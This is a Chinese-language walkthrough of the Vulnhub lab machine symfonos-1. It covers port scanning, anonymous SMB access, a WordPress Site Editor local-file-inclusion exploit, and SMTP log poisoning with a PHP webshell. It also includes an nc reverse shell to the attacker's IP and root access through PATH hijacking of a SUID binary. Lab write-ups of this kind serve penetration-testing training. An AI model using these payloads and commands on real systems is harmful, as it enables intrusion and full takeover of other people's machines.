symfonos-1

来源:Vulnhub

难度:Intermediate

nmap -O -A -Pn -sV -sS -p- 192.168.36.0/24 -vv -exclude 192.168.36.1

# 对除了192.168.36.1之外的目标进行全端口SYN半开扫描,探测系统和服务

发现目标192.168.36.129开启了80,445,22,25等端口,对应web,smb,ssh,smtp等服务
访问80端口,发现有网页,尝试爆破目录无果
使用命令

smbclient \\\\192.168.36.129\\anonymous

尝试匿名登录smb服务(空密码)
成功登录后dir查看目录发现有一个attention.txt文件:

get attention.txt

将文件下载到当前目录,使用cat查看内容:

发现了三个可能的密码:

epidioko
qwerty
baseball

使用命令:

enum4linux 192.168.36.129

发现了一些用户名和工作组信息:

发现有一个用户helios,尝试利用刚才发现的三个密码登录smb,使用命令:

smbclient \\\\192.168.36.129\\helios -U helios

# \\\\ipaddress\\username -U username    ?

成功登录后dir查看目录发现有todo.txtresearch.txt两个文件,查看todo.txt发现work on /h3l105

猜测这是一个目录路径,结合之前发现的80端口,直接拼接浏览器访问,发现是wordpress博客,直接访问wp-admin,尝试弱口令失败,使用wpscan,发现uploads目录:

wpscan --url http://192.168.36.129/h3l105/ --enumerate u
# 发现可能的用户名

wpscan --url http://192.168.36.129/h3l105/ --enumerate ap
# 发现可能的插件


访问此目录发现siteeditor插件:

使用searchsploit搜索:

searchsploit site editor

# 搜索“site editor”

发现一个wordpress插件有本地文件包含漏洞:

下载相关利用文档:

searchsploit -m 44340.txt

查看保存到本地的44340.txt文件:

漏洞存在于ajax_shortcode_pattern.php这个php文件中的ajax_path参数中,此用户可控,且没有进行任何的过滤,结合require_once函数,最终导致了本地文件包含漏洞,payload如下:

http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

此时结合剩下的445,22,25端口的开放情况,猜测是要想办法往目标服务器里传包含webshell的文件(不一定是php,因为文件包含漏洞可以直接执行文件里的内容而不管文件类型),然后用这个漏洞去包含
我们可以尝试telnet到smtp服务(25端口,邮件服务)并尝试利用此服务来上传文件,一般来说,smtp服务收到的邮件会放在/var/mail/存在的用户名中,我们先尝试telnet到smtp服务,并上传文件:

# 请按照以下步骤来

mail from: anyname@anydomain
# 设置来源 随便写

rcpt to: helios@symfonos.localdomain
# 设置收件信息 helios处填目标主机的用户名,@后面的必须是目标的hostname,hostname可由nmap得,如图:

data # 设置文件内容

<?php echo shell_exec($_GET['passwd']); ?> # 输入webshell

. # 回车后点号结束正文编辑

# 显示ok queued...... 即上传成功

此时使用payload:

http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&passwd=nc -e /bin/bash 192.168.36.132 6666

即可使用nc反弹一个shell,注意因为是文件包含漏洞,我们上传的webshell并不能连接,只能做到一个rce的效果,所以这里要反弹shell
我们使用nc得到一个没有tty的shell,使用命令which python可以检查是否有安装python,利用python可以获得一个有tty的反弹shell,我选择了上传socat,利用socat回连一个有tty的shell,然后上传各种提权脚本,一通跑,然后在linpeas的结果中找到一个可疑文件:

我们也可以用以下命令来查找:

find / -perm -u=s -type f 2>/dev/null

# suid_lookup

将这个可疑文件放入ida分析,或者直接使用strings命令分析其字符串:

发现其调用了curl,就是说,这个程序会以root权限执行curl,又因为它使用了相对路径而不是绝对路径,所以我们可以通过修改环境变量,让他执行我们自己写的恶意curl,使用以下命令创建恶意文件,其他名称的文件同理:

cd /tmp  # 去到任何人可读可写的/tmp目录 实战中可根据环境不同找到其他可读可写目录
echo "/bin/sh" > curl  # 将需要执行的恶意代码写入我们的恶意文件中,这里需要一个root的shell,所以让其执行bin/sh(我们可以尝试bash和sh,看哪个可以有效获取root权限),同理,若需要修改其他程序,curl也可以换成其他名字
chmod 777 curl  # 添加执行权限
echo $PATH  # 输出现在(更改前)的环境变量
export PATH=/tmp:$PATH  # 将存有恶意文件的目录写进环境变量

修改后运行可疑文件,即可获得root权限

⬆︎TOP